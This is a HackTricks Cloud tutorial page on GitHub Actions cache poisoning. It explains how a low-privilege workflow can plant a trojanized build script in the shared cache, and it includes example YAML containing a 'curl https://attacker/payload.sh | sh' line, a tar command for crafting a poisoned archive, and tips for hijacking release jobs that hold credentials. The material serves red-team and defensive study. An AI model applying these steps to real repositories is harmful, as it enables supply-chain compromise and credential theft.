GH Actions - Cache Poisoning
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Overview
The GitHub Actions cache is global to a repository. Any workflow that knows a cache key (or restore-keys) can populate that entry, even if the job only has permissions: contents: read. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a pull_request_target workflow into the PyPI publishing pipeline.
Attack primitives
actions/cacheexposes both restore and save operations (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). The save call is allowed for any job except truly untrustedpull_requestworkflows triggered from forks.- Cache entries are identified solely by the
key. Broadrestore-keysmake it easy to inject payloads because the attacker only needs to collide with a prefix. - Cache keys and versions are client-specified values; the cache service does not validate that a key/version matches a trusted workflow or cache path.
- The cache server URL + runtime token are long-lived relative to the workflow (historically ~6 hours, now ~90 minutes) and are not user-revocable. As of late 2024 GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts,
package.json, or other files under the restore path.
Example exploitation chain
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Privileged workflow restored and executed the poisoned cache:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, action.yml, package.json, etc.), you can overwrite them to gain execution.
Practical exploitation tips
- Target workflows triggered by
pull_request_target,issue_comment, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo. - Look for deterministic cache keys reused across trust boundaries (for example,
pip-${{ hashFiles('poetry.lock') }}) or permissiverestore-keys, then save your malicious tarball before the privileged workflow runs. - Monitor logs for
Cache savedentries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.
References
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

